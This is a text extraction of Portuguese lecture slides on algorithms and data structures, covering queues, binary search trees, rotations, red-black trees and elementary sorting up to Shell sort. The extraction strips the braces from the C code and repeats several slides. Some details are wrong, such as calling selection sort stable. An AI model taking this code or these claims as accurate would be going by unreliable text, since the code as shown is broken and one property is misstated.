Page 479: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização de ADTs de primeira ordem

void QUEUEput(Q q, Item item)

if (q->head == NULL)

q->tail = NEW(item, q->head)

q->head = q->tail; return;

q->tail->next = NEW(item, q->tail->next);

q->tail = q->tail->next;

Item QUEUEget(Q q)

Item item = q->head->item;

link t = q->head->next;

free(q->head); q->head = t;

return item;

AED 2003/2004 – p.413/554

Page 480: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte XI

Sedgewick, Cap. 5, 12, 13

AED 2003/2004 – p.414/554

Page 481: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias

Estrutura de dados elementar

Métodos de travessia de árvores

Procura em árvores binárias

Manipulação eficiente

Exemplos de clientes

AED 2003/2004 – p.415/554

Page 482: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias

Estrutura de dados elementar

Métodos de travessia de árvores

Procura em árvores binárias

Manipulação eficiente

Exemplos de clientes

AED 2003/2004 – p.415/554

Page 483: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias

Estrutura de dados elementar

Métodos de travessia de árvores

Procura em árvores binárias

Manipulação eficiente

Exemplos de clientes

AED 2003/2004 – p.415/554

Page 484: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias

Estrutura de dados elementar

Métodos de travessia de árvores

Procura em árvores binárias

Manipulação eficiente

Exemplos de clientes

AED 2003/2004 – p.415/554

Page 485: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias

Estrutura de dados elementar

Métodos de travessia de árvores

Procura em árvores binárias

Manipulação eficiente

Exemplos de clientes

AED 2003/2004 – p.415/554

Page 486: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Travessia de Árvores em Pré-Order

Visita a raíz antes dos filhos

#include "Item.h"

typedef struct node

struct node *l;

struct node *r;

Item item;

*link;

void traverse(link h)

if (h == NULL) return;

visit(h);

traverse(h->l);

traverse(h->r);

AED 2003/2004 – p.416/554

Page 487: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Travessia de Árvores em In-Order

Visita a raíz depois do filho esquerdo e antes do direito

Exemplo de aplicação: imprime os nós ordenados

#include "Item.h"

typedef struct node

struct node *l;

struct node *r;

Item item;

*link;

void traverse(link h)

if (h == NULL) return;

traverse(h->l);

visit(h);

traverse(h->r);

AED 2003/2004 – p.417/554

Page 488: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Travessia de Árvores em Post-Order

Visita a raíz depois dos filhos

Exemplo de aplicação: avaliação de expressõesposfixadas

#include "Item.h"

typedef struct node

struct node *l;

struct node *r;

Item item;

*link;

void traverse(link h)

if (h == NULL) return;

traverse(h->l);

traverse(h->r);

visit(h);

AED 2003/2004 – p.418/554

Page 489: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão não Recursiva do Pré-Order

void traverse(link h)

STACKinit(max); STACKpush(h);

while (!STACKempty())

visit(h = STACKpop());

if (h->r != NULL) STACKpush(h->r);

if (h->l != NULL) STACKpush(h->l);

AED 2003/2004 – p.419/554

Page 490: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algumas Operações em Árvores

Count: conta os nós da árvore

Height: conta a profundidade da árvore

int count(link h)

if (h == NULL) return 0;

return count(h->l) + count(h->r) + 1;

int height(link h)

int u, v;

if (h == NULL) return -1;

u = height(h->l); v = height(h->r);

if (u > v) return u+1; else return v+1;

AED 2003/2004 – p.420/554

Page 491: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabela de Símbolos

Inserção de um item

Procura por dada chave

Apagamento de um item

Aplicações:Tabelas de símbolosDicionários para tradução de termos

AED 2003/2004 – p.421/554

Page 492: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabela de Símbolos - ADT

#include "Item.h"

void STinit(int);

int STcount();

Item STsearch(Key v);

void STinsert(Item item);

Item STselect(int);

void STdelete(Item);

void STsort(void (*visit)());

AED 2003/2004 – p.422/554

Page 493: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabela de Símbolos - Exemplo Concretização

static Item *st;

static int M;

void STinit(int maxN) int i;

M = maxN; st = malloc((M+1)*sizeof(Item));

for (i = 0; i <= M; i++) st[i] = NULLitem;

int STcount() int i, n = 0;

for (i = 0; i < M; i++) if (st[i] != NULLitem) n++;

return n;

Item STsearch(Key v) return st[v];

void STinsert(Item item) st[key(item)] = item;

Item STselect(int k) int i;

for (i = 0; i < M; i++)

if (st[i] != NULLitem && k-- == 0)

return st[i];

void STdelete(Item) st[key(item)] = NULLitem;

void STsort(void (*visit)()) ...

AED 2003/2004 – p.423/554

Page 494: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores de Procura Binárias (BST)

5

4

52

1

8

Nós na sub-árvore esquerda tem chaves menores ouiguais que a raíz

Nós na sub-árvore direita tem chaves maiores ou iguaisque a raíz

AED 2003/2004 – p.424/554

Page 495: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Pesquisa em Árvores

#include <stdlib.h>

#include "Item.h"

typedef struct STnode* link;

struct STnode Item item; link l, r; int N ;

static link head, z;

link NEW(Item item, link l, link r, int N)

link x = malloc(sizeof *x);

x->item = item; x->l = l; x->r = r; x->N = N;

return x;

void STinit()

head = (z = NEW(NULLitem, 0, 0, 0));

int STcount() return head->N;

Item searchR(link h, Key v)

Key t = key(h->item);

if (h == z) return NULLitem;

if eq(v, t) return h->item;

if less(v, t) return searchR(h->l, v);

else return searchR(h->r, v);

AED 2003/2004 – p.425/554

Page 496: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Pesquisa em Árvores

Item STsearch(Key v)

return searchR(head, v);

link insertR(link h, Item item)

Key v = key(item), t = key(h->item);

if (h == z) return NEW(item, z, z, 1);

if less(v, t)

h->l = insertR(h->l, item);

else h->r = insertR(h->r, item);

(h->N)++; return h;

void STinsert(Item item)

head = insertR(head, item);

AED 2003/2004 – p.426/554

Page 497: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações de rotação - esquerda

A

E

C S

R X

E

C

A S

R X

link rotL( link h)

link x = h->r;

h->r = x->l;

x->l = h;

x->l->N = x->l->r->N + x->l->l->N + 1;

x->N = x->l->N + x->r->N + 1;

return x;

AED 2003/2004 – p.427/554

Page 498: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações de rotação - direita

link rotR( link h)

link x = h->l;

h->l = x->r;

x->r = h;

x->r->N = x->r->r->N + x->r->l->N + 1;

x->N = x->l->N + x->r->N + 1;

return x;

AED 2003/2004 – p.428/554

Page 499: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inserção na raíz

Insere novo nó numa folha

Usa rotações para colocar novo nó na raíz da árvore

link insertT(link h, Item item)

Key v = key(item);

if (h == z) return NEW(item, z, z, 1);

if (less(v, key(h->item)))

h->l = insertT(h->l, item); h = rotR(h);

else

h->r = insertT(h->r, item); h = rotL(h);

return h;

AED 2003/2004 – p.429/554

Page 500: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Selecção com árvores binárias

Selecciona a k’ésima chave

Item selectR(link h, int k)

int t = h->l->N;

if (h == z) return NULLitem;

if (t > k) return selectR(h->l, k);

if (t < k) return selectR(h->r, k-t-1);

return h->item;

Item STselect(int k)

return selectR(head, k);

AED 2003/2004 – p.430/554

Page 501: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Partição de Árvores Binárias

Selecciona a k’ésima chave e coloca-a na raíz

link partR(link h, int k)

int t = h->l->N;

if (t > k )

h->l = partR(h->l, k); h = rotR(h);

if (t < k )

h->r = partR(h->r, k-t-1); h = rotL(h);

return h;

AED 2003/2004 – p.431/554

Page 502: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Remoção de nós em Árvores Binárias

link joinLR(link a, link b)

if (b == z) return a;

b = partR(b, 0); b->l = a;

return b;

link deleteR(link h, Key v)

link x; Key t = key(h->item);

if (h == z) return z;

if (less(v, t)) h->l = deleteR(h->l, v);

if (less(t, v)) h->r = deleteR(h->r, v);

if (eq(v, t))

x = h; h = joinLR(h->l, h->r); free(x);

return h;

void STdelete(Key v)

head = deleteR(head, v);

AED 2003/2004 – p.432/554

Page 503: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenação em Árvores Binárias

void sortR(link h, void (*visit)(Item))

if (h == z)

return;

sortR(h->l, visit);

visit(h->item);

sortR(h->r, visit);

void STsort(link h, void (*visit)(Item))

sortR(head, visit);

AED 2003/2004 – p.433/554

Page 504: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Pesquisas em BST

Geralmente eficient: O(log N)

No pior caso, O(n) para uma árvore desequilibrada:Ordem de inserção: 1,2,3,4,5,6,7,8

No caso de chaves aleatórias, O(log N)

Comparação com pesquisa binária em tabelas:Tempo de pesquisa comparávelTempo de inserção muito mais rápido

Tempo de pesquisa e inserção são O(N) no pior caso(árvore degenerada)

AED 2003/2004 – p.434/554

Page 505: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Binárias Equilibradas

Evitam o pior caso de O(N)

Algum overhead na construção

Alternativa:Requilibrar uma árvore, depois de construídaUsar aleatoriedadeUsar técnicas especiais de construção (Red-Blacktrees, etc)

AED 2003/2004 – p.435/554

Page 506: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Balanceamento de uma Árvore Binária

Equilibra uma árvore

Usa a operação de partição para colocar a mediana naraíz

link balanceR(link h)

if (h->N < 2) return h;

h = partR(h, h->N/2);

h->l = balanceR(h->l);

h->r = balanceR(h->r);

return h;

AED 2003/2004 – p.436/554

Page 507: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Uso de aleatoriedade

Se as chaves forem uniformemente distribuídas, umnovo nó fica na raíz com probabilidade 1/(1+N)

Quando se insere um nó, coloca-se na raíz comprobabilidade 1/(1+N)

link insertR(link h, Item item)

Key v = key(item), t = key(h->item);

if (h == z) return NEW(item, z, z, 1);

if (rand()< RAND_MAX/(h->N+1))

return insertT(h, item);

if less(v, t) h->l = insertR(h->l, item);

else h->r = insertR(h->r, item);

(h->N)++; return h;

void STinsert(Item item)

head = insertR(head, item);

AED 2003/2004 – p.437/554

Page 508: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Red-Blacklink RBinsert(link h, Item item, int sw)

Key v = key(item);

if (h == z) return NEW(item, z, z, 1, 1);

if ((hl->red) && (hr->red))

h->red = 1; hl->red = 0; hr->red = 0;

if (less(v, key(h->item)))

hl = RBinsert(hl, item, 0);

if (h->red && hl->red && sw) h = rotR(h);

if (hl->red && hll->red)

h = rotR(h); h->red = 0; hr->red = 1;

else

hr = RBinsert(hr, item, 1);

if (h->red && hr->red && !sw) h = rotL(h);

if (hr->red && hrr->red)

h = rotL(h); h->red = 0; hl->red = 1;

fixN(h); return h;

AED 2003/2004 – p.438/554

Page 509: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Árvores Red-Black

AED 2003/2004 – p.439/554

Page 510: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.440/554

Page 511: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte XII

Sedgewick, Cap. 6

AED 2003/2004 – p.441/554

Page 512: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos Elementares de Ordenação

Selection Sort

Insertion Sort

Bubble Sort

Shell Sort

Counting Sort

AED 2003/2004 – p.442/554

Page 513: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Porquê Estudar Algoritmos Elementares?

Razões de ordem práticaFáceis de codificar e por vezes suficienteRápidos/Eficientes para problemas de dimensãomedia e por vezes os melhores em certas situações

Razões pedagógicasBom exemplo para aprender terminologia e contextodos problemas de codificar e por vezes suficienteAlguns são fáceis de generalizar para algoritmosmais eficientes ou para melhorar o desempenho deoutros algoritmos

AED 2003/2004 – p.443/554

Page 514: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Nomenclatura [1]

Parâmetro de interesse - tempo de execução

regra - O(N2) para ordenar N itemsmas se N pequeno podem ser os melhores

Mas desempenho em memória também interessaordenação in-place

utilizando memória adicional

AED 2003/2004 – p.444/554

Page 515: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Nomenclatura [2]

Definicao: um algoritmo de ordenação é dito estável sepreserva a ordem relativa dos items com chavesrepetidasex: ordenar lista de alunos (já previamente ordenadapor nome) por ano de graduação

algoritmos elementares são normalmente estáveis,mas poucos algoritmos avançados o são

AED 2003/2004 – p.445/554

Page 516: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Nomenclatura [3]

Definicao: um algoritmo de ordenação é dito interno se oconjunto de todos os dados a ordenar couber emmemoria RAM; caso contrário é dito externo

Distinção muito importante:ordenação interna pode aceder a qualquer dadocom um custo muito pequenoordenação externa tem de aceder aos dados deforma sequencial (ou em blocos)

Estudo apenas de ordenação interna

AED 2003/2004 – p.446/554

Page 517: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos de Sort – Definições

Itens ordenados por chave

Características específicas de cada item ou chave

No entanto cada algoritmo tem comportamento igual -usar abstrações

#define key(A) (A)

#define less(A, B) (key(A) < key(B))

#define exch(A, B) Item t = A; A = B; B = t;

#define compexch(A, B) if (less(B, A)) exch(A, B)

AED 2003/2004 – p.447/554

Page 518: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos de Sort – Utilização

void sort(Item a[], int l, int r)

int i, j;

for (i = l+1; i <= r; i++)

for (j = i; j > l; j--)

compexch(a[j-1], a[j]);

main(int argc, char *argv[])

int i, N = atoi(argv[1]), sw = atoi(argv[2]);

int *a = malloc(N*sizeof(int));

if (sw)

for (i = 0; i < N; i++)

a[i] = 1000*(1.0*rand()/RAND_MAX);

else

while (scanf("%d", &a[N]) == 1) N++;

sort(a, 0, N-1);

for (i = 0; i < N; i++) printf("%3d ", a[i]);

printf("\n");

Exemplo: AED 2003/2004 – p.448/554

Page 519: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Selection Sort

void selection(Item a[], int l, int r)

int i, j;

for (i = l; i < r; i++)

int min = i;

for (j = i+1; j <= r; j++)

if (less(a[j], a[min])) min = j;

exch(a[i], a[min]);

Exemplo:

AED 2003/2004 – p.449/554

Page 520: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Selection Sort

A cada passo, escolher o menor entre os r − l − i + 1maiores elementos.

Para cada valor de i do primeiro ciclo, segundo ciclo éexecutado r − i vezes

Tempo de execução:

Comparações: N2/2, trocas: N

No pior caso é O(N2), com N = r − l

No melhor caso, é O(N2), com N = r − l

Algoritmo é estavel

i.e. ordem relativa de chaves duplicadas é mantida

AED 2003/2004 – p.450/554

Page 521: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion Sort

void insertion(Item a[], int l, int r)

int i;

for (i = l+1; i <= r; i++) compexch(a[l], a[i]);

for (i = l+2; i <= r; i++)

int j = i; Item v = a[i];

while (less(v, a[j-1]))

a[j] = a[j-1]; j--;

a[j] = v;

Exemplo:

AED 2003/2004 – p.451/554

Page 522: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion Sort

Primeiro ciclo coloca menor valor na posição l, o qualdepois serve como sentinela

reduz constantes do segundo ciclo

Para cada i, os primeiros i elementos ficam ordenados

Tempo de execução:

No pior caso, é O(N2), com N = r − l, i.e. vector jáordenado por ordem inversaNo melhor caso é O(N), com N = r − l, i.e. vector jáordenado

Algoritmo é estável

AED 2003/2004 – p.452/554

Page 523: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Bubble Sort

void bubble(Item a[], int l, int r)

int i, j;

for (i = l; i < r; i++)

for (j = r; j > i; j--)

compexch(a[j-1], a[j]);

Exemplo:

AED 2003/2004 – p.453/554

Page 524: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Bubble Sort

Para cada valor de i no primeiro ciclo, segundo ciclo éexecutado r − i + 1 vezes

Para cada valor de i, algoritmo assegura que valor finalna posição i é o valor certo para a posição i apósvector ordenado

Tempo de execução:No pior caso é O(N2), com N = r − l

No melhor caso é O(N2), com N = r − l

Algoritmo é estável

AED 2003/2004 – p.454/554

Page 525: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Comparação

Pior caso

Selection Insertion BubbleComparações N2/2 N2/2 N2/2

Trocas Chaves N N2/2 N2/2

Caso médio

Selection Insertion BubbleComparações N2/2 N2/4 N2/2

Trocas Chaves N N2/4 N2/2

AED 2003/2004 – p.455/554

Page 526: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Comparação [2]

Tabelas com poucos elementos fora de ordemInsertion e Bubble sort são quase linearesos melhores algoritmos de ordenação podem serquadráticos

Contexto onde elementos são grandes e chavespequenas

Selection é linear no número de dadosN dados com tamanho M (palavras/words)custos: comparação - 1 unidade; troca - M unidadesN2/2 comparações e NM custo de trocastermo NM domina - custo proporcional ao temponecessário para mover os dadosAlternativa: uso de ponteiros

AED 2003/2004 – p.456/554

Page 527: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

N Selection Insertion Bubble1000 5 4 112000 21 15 454000 85 62 182

AED 2003/2004 – p.457/554

Page 528: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Introdução

Insertion sort é lento: trocas ocorrem apenas entreitems adjacentes

se o menor item está no final da tabela, serãoprecisos N passos para o colocar na posiçãocorrecta

Shellsort:acelerar o algoritmo permitindo trocas entreelementos que estão afastados

AED 2003/2004 – p.458/554

Page 529: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Definições

Vector diz-se h-ordenado se qualquer sequência denúmeros separados por h posições está ordenada

Vector é equivalente a h sequências ordenadasentrelaçadas

Vector 1 15 2 16 3 17 4 18 5 19 está 2-ordenado

O resultado de h-ordenar um vector que esták-ordenado, é um vector que está h-ordenado ek-ordenado

AED 2003/2004 – p.459/554

Page 530: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Ideia

Rearranjar os dados de forma a que estejamh-ordenados

Usando valores de h grandes é possível moverelementos na tabela distâncias grandes o que tornamais fácil h-ordenar mais tarde com h pequenos

usando este procedimento para qualquer sequênciade h’s que termine em 1 produz no fim uma tabelaordenadacada passo torna o próximo mais simples

AED 2003/2004 – p.460/554

Page 531: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Algoritmo

void shellsort(Item a[], int l, int r)

int i, j, h;

for (h = 1; h <= (r-l)/9; h = 3*h+1) ;

for ( ; h > 0; h /= 3)

for (i = l+h; i <= r; i++)

int j = i; Item v = a[i];

while (j >= l+h && less(v, a[j-h]))

a[j] = a[j-h]; j -= h;

a[j] = v;

Primeiro ciclo for gera sequência: 1 4 13 40 121 3641093 3280 ...

Segundo ciclo for é executado para os valores de h porordem inversa

AED 2003/2004 – p.461/554

Page 532: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Funcionamento

Operação (vector com tamanho 100):Para cada valor de h, 40, 13, 4, 1:

Utilizar insertion sort para criar hsub-vectores ordenados dentro de vector comtamanho 100· Vector fica h-ordenadoPara h = 40 existem 40 sub-vectores ordenados,cada um com 2/3 elementosPara h = 13 existem 13 sub-vectores ordenados,cada um com 7/8 elementos...Para h = 1 existe 1 (sub-)vector ordenado, com100 elementos

AED 2003/2004 – p.462/554

Page 533: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Exemplo

void shellsort(Item a[], int l, int r)

int i, j, h;

for (h = 1; h <= (r-l)/9; h = 3*h+1) ;

for ( ; h > 0; h /= 3)

for (i = l+h; i <= r; i++)

int j = i; Item v = a[i];

while (j >= l+h && less(v, a[j-h]))

a[j] = a[j-h]; j -= h;

a[j] = v;

Exemplo:

AED 2003/2004 – p.463/554

Page 534: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Escolha da Sequência de Ordenação

Questão difícil de responder

Propriedades de muitas sequências já foram estudadas

Possível provar que umas melhores que outrasex: 1, 4, 13, 40, 121, 364, 1093, 3280, ... (Knuth,3*hant+1)melhor que 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...(Shell, 2i ) Porquê?mas pior (20%) que 1, 8, 23, 77, 281, 1073, 4193,(4i+1 + 3 2i + 1)

Na prática utilizam-se sequências que decrescemgeometricamente para que o número de incrementosseja logarítmico

a sequência óptima ainda não foi descoberta

AED 2003/2004 – p.464/554

Page 535: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Shell Sort – Complexidade

Análise do algoritmo é desconhecida

Complexidade depende da sequência de valores hutilizada:

Sequência 1, 4, 13, 40, 121, 364, 1093, ...O(N3/2) comparações

Sequência 1, 8, 23, 77, 281, 1073, 4193, ...O(N4/3) comparações

Sequência 1, 2, 3, 4, 6, 9, 8, 12, 18, 27, 16, 24, ...O(N(log N)2) comparações

AED 2003/2004 – p.465/554

Page 536: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental – Shell Sort

N O K G S P I12500 16 6 6 5 6 625000 37 13 11 12 15 1050000 102 31 30 27 38 26

100000 303 77 60 63 81 58200000 817 178 137 139 180 126

O: 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...

K: 1, 4, 13, 40, 121, 364, ...

G: 1, 2, 4, 10, 23, 51, 113, 249, 548, ...

S: 1, 8, 23, 77, 281, ...

P: 1, 7, 8, 49, 56, 64, 343, 392, 448, 512, ...

I: 1, 5, 19, 41, 109, 209, 505, 929, ...AED 2003/2004 – p.466/554

